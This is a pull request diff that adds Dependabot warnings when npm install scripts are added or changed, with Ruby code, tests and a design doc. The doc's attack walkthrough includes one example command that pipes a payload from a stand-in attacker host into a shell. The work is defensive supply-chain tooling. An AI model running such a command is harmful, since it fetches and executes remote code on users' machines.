Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions common/lib/dependabot/metadata_finders/base.rb
Original file line number Diff line number Diff line change
Expand Up @@ -162,6 +162,11 @@ def maintainer_changes
nil
end

sig { overridable.returns(T.nilable(String)) }
def install_script_changes
nil
end

private

sig { overridable.returns(T.nilable(String)) }
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ class MetadataPresenter
:changelog_text,
:commits_url,
:commits,
:install_script_changes,
:maintainer_changes,
:releases_url,
:releases_text,
Expand Down Expand Up @@ -71,6 +72,7 @@ def to_s
msg += upgrade_guide_cascade
msg += commits_cascade
msg += maintainer_changes_cascade
msg += install_script_changes_cascade
msg += break_tag unless msg == ""
"\n" + sanitize_links_and_mentions(msg, unsafe: true)
end
Expand Down Expand Up @@ -181,6 +183,16 @@ def maintainer_changes_cascade
)
end

sig { returns(String) }
def install_script_changes_cascade
return "" unless install_script_changes

build_details_tag(
summary: "Install script changes",
body: sanitize_links_and_mentions(install_script_changes) + "\n"
)
end

sig { params(summary: String, body: String).returns(String) }
def build_details_tag(summary:, body:)
# Bitbucket does not support <details> tag (https://jira.atlassian.com/browse/BCLOUD-20231)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,7 @@
changelog_text: "",
commits_url: "http://localhost/commits",
commits: [],
install_script_changes: "",
maintainer_changes: "",
releases_url: "http://localhost/releases",
releases_text: "",
Expand Down Expand Up @@ -84,5 +85,18 @@
end
end
end

context "with install script changes" do
before do
allow(metadata_finder)
.to receive(:install_script_changes)
.and_return("This version adds `postinstall` script that runs during installation.")
end

it "includes install script changes section" do
expect(presenter.to_s).to include("Install script changes")
expect(presenter.to_s).to include("postinstall")
end
end
end
end
72 changes: 72 additions & 0 deletions docs/npm-install-script-warnings.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# npm install script warnings in Dependabot

## The problem

When you run `npm install`, npm executes lifecycle scripts from your dependencies automatically. The scripts `preinstall`, `install`, `postinstall`, and `prepare` all run with your user's permissions before you've had a chance to review the code.

The attack pattern is simple:

1. Attacker compromises a maintainer's npm account
2. Attacker publishes a new version with a malicious `postinstall` script
3. Users update the package, triggering the script
4. The script runs `curl http://evil.com/payload.sh | sh` or similar

This has happened repeatedly:

- **event-stream (2018)**: A maintainer handed off the package to someone who added a `postinstall` that stole Bitcoin wallet keys. 8 million weekly downloads.
- **ua-parser-js (2021)**: Compromised account published versions with crypto miners in `preinstall`. 7 million weekly downloads.
- **node-ipc (2022)**: Maintainer deliberately added a `postinstall` that wiped files on Russian/Belarusian IPs. 1 million weekly downloads.
- **@ledgerhq/connect-kit (2023)**: Compromised npm account published a version with wallet-draining code in install scripts.

Same pattern each time: new version appears, users update, malicious code runs before anyone notices.

## Why warn about this

Dependabot already warns when a package has a new maintainer. That catches some attacks, but not all. A package can be compromised without a maintainer change (stolen token, social engineering). And maintainer changes aren't always malicious—legitimate handoffs happen all the time.

Install script changes are different. A new `postinstall` script showing up in a previously script-free package? That's worth a second look regardless of who published it.

## What we built

When Dependabot creates a PR for an npm package update, it checks whether any install scripts were added or modified since the previous version. If so, the PR description includes a warning:

> **Install script changes**
>
> This version adds `postinstall` script that runs during installation. Review the package contents before updating.

The warning covers all scripts that run during `npm install`:

- `preinstall`
- `install`
- `postinstall`
- `prepublish` (deprecated but still runs)
- `preprepare`
- `prepare`
- `postprepare`

Scripts like `test`, `build`, or `start` are ignored since they don't run during installation.

## Limitations

This is visibility, not protection. If you're not reading PR descriptions, you won't see it. It also can't detect obfuscated payloads or scripts that download code at runtime.

Other things you should still do:

- Run `npm install --ignore-scripts` in CI when possible
- Use lockfiles and review lockfile changes
- Consider tools like Socket that analyze package behavior
- Limit which dependencies can run install scripts (npm 9+ supports this)

But for teams that review their Dependabot PRs, this gives them one more signal when something needs extra scrutiny.

## Implementation

The change adds an `install_script_changes` method to `MetadataFinders::Base` (returns `nil` by default) and implements it for npm_and_yarn. The method compares the `scripts` object in the npm registry metadata between versions.

The warning appears in `MetadataPresenter` alongside the existing maintainer changes section.

Files changed:

- `common/lib/dependabot/metadata_finders/base.rb`
- `npm_and_yarn/lib/dependabot/npm_and_yarn/metadata_finder.rb`
- `common/lib/dependabot/pull_request_creator/message_builder/metadata_presenter.rb`
53 changes: 53 additions & 0 deletions npm_and_yarn/lib/dependabot/npm_and_yarn/metadata_finder.rb
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,14 @@ module NpmAndYarn
class MetadataFinder < Dependabot::MetadataFinders::Base
extend T::Sig

# Lifecycle scripts that run automatically during package installation.
# These are security-relevant because they execute with user privileges.
# https://docs.npmjs.com/cli/v11/using-npm/scripts#npm-install
INSTALL_SCRIPTS = T.let(
%w(preinstall install postinstall prepublish preprepare prepare postprepare).freeze,
T::Array[String]
)

sig { override.returns(T.nilable(String)) }
def homepage_url
# Attempt to use version_listing first, as fetching the entire listing
Expand All @@ -37,8 +45,53 @@ def maintainer_changes
"releaser for #{dependency.name} since your current version."
end

sig { override.returns(T.nilable(String)) }
def install_script_changes
return unless dependency.previous_version

previous_scripts = install_scripts_for_version(dependency.previous_version)
current_scripts = install_scripts_for_version(dependency.version)

return if previous_scripts == current_scripts

added = current_scripts.keys - previous_scripts.keys
modified = (current_scripts.keys & previous_scripts.keys).reject do |script|
current_scripts[script] == previous_scripts[script]
end

changes = []
changes << format_script_list("adds", added) if added.any?
changes << format_script_list("modifies", modified) if modified.any?

return if changes.empty?

total_scripts = added.size + modified.size
verb = total_scripts == 1 ? "runs" : "run"

"This version #{changes.join(' and ')} that #{verb} during installation. " \
"Review the package contents before updating."
end

private

sig { params(action: String, scripts: T::Array[String]).returns(String) }
def format_script_list(action, scripts)
script_names = scripts.map { |s| "`#{s}`" }.join(", ")
noun = scripts.size == 1 ? "script" : "scripts"
"#{action} #{script_names} #{noun}"
end

sig { params(version: T.nilable(String)).returns(T::Hash[String, String]) }
def install_scripts_for_version(version)
return {} unless version

version_data = all_version_listings.find { |v, _| v == version }&.last
return {} unless version_data

scripts = version_data["scripts"] || {}
scripts.slice(*INSTALL_SCRIPTS)
end

sig { override.returns(T.nilable(Dependabot::Source)) }
def look_up_source
return find_source_from_registry if new_source.nil?
Expand Down
129 changes: 129 additions & 0 deletions npm_and_yarn/spec/dependabot/npm_and_yarn/metadata_finder_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -528,6 +528,135 @@
end
end

describe "#install_script_changes" do
subject(:install_script_changes) { finder.install_script_changes }

let(:dependency_name) { "install-scripts-pkg" }
let(:npm_url) { "https://registry.npmjs.org/install-scripts-pkg" }
let(:npm_all_versions_response) do
fixture("npm_responses", "install_scripts.json")
end

before do
stub_request(:get, npm_url)
.to_return(status: 200, body: npm_all_versions_response)
end

context "when there is no previous version" do
let(:dependency) do
Dependabot::Dependency.new(
name: dependency_name,
version: "1.1.0",
requirements: [{
file: "package.json",
requirement: "^1.0",
groups: [],
source: nil
}],
package_manager: "npm_and_yarn"
)
end

it { is_expected.to be_nil }
end

context "when a preinstall script is added alongside existing postinstall" do
let(:dependency) do
Dependabot::Dependency.new(
name: dependency_name,
version: "1.3.0",
previous_version: "1.2.0",
requirements: [{
file: "package.json",
requirement: "^1.0",
groups: [],
source: nil
}],
package_manager: "npm_and_yarn"
)
end

it "returns a notification about the added script" do
expect(install_script_changes).to eq(
"This version adds `preinstall` script that runs during installation. " \
"Review the package contents before updating."
)
end
end

context "when a postinstall script is added" do
let(:dependency) do
Dependabot::Dependency.new(
name: dependency_name,
version: "1.1.0",
previous_version: "1.0.0",
requirements: [{
file: "package.json",
requirement: "^1.0",
groups: [],
source: nil
}],
package_manager: "npm_and_yarn"
)
end

it "returns a notification about the added script" do
expect(install_script_changes).to eq(
"This version adds `postinstall` script that runs during installation. " \
"Review the package contents before updating."
)
end
end

context "when a postinstall script is modified" do
let(:dependency) do
Dependabot::Dependency.new(
name: dependency_name,
version: "1.2.0",
previous_version: "1.1.0",
requirements: [{
file: "package.json",
requirement: "^1.0",
groups: [],
source: nil
}],
package_manager: "npm_and_yarn"
)
end

it "returns a notification about the modified script" do
expect(install_script_changes).to eq(
"This version modifies `postinstall` script that runs during installation. " \
"Review the package contents before updating."
)
end
end

context "when only non-install scripts change" do
let(:npm_all_versions_response) do
fixture("npm_responses", "etag.json")
end
let(:dependency_name) { "etag" }
let(:npm_url) { "https://registry.npmjs.org/etag" }
let(:dependency) do
Dependabot::Dependency.new(
name: dependency_name,
version: "1.7.0",
previous_version: "1.6.0",
requirements: [{
file: "package.json",
requirement: "^1.0",
groups: [],
source: nil
}],
package_manager: "npm_and_yarn"
)
end

it { is_expected.to be_nil }
end
end

describe "#dependency_url" do
subject(:dependency_url) { finder.send(:dependency_url) }

Expand Down
Loading
Loading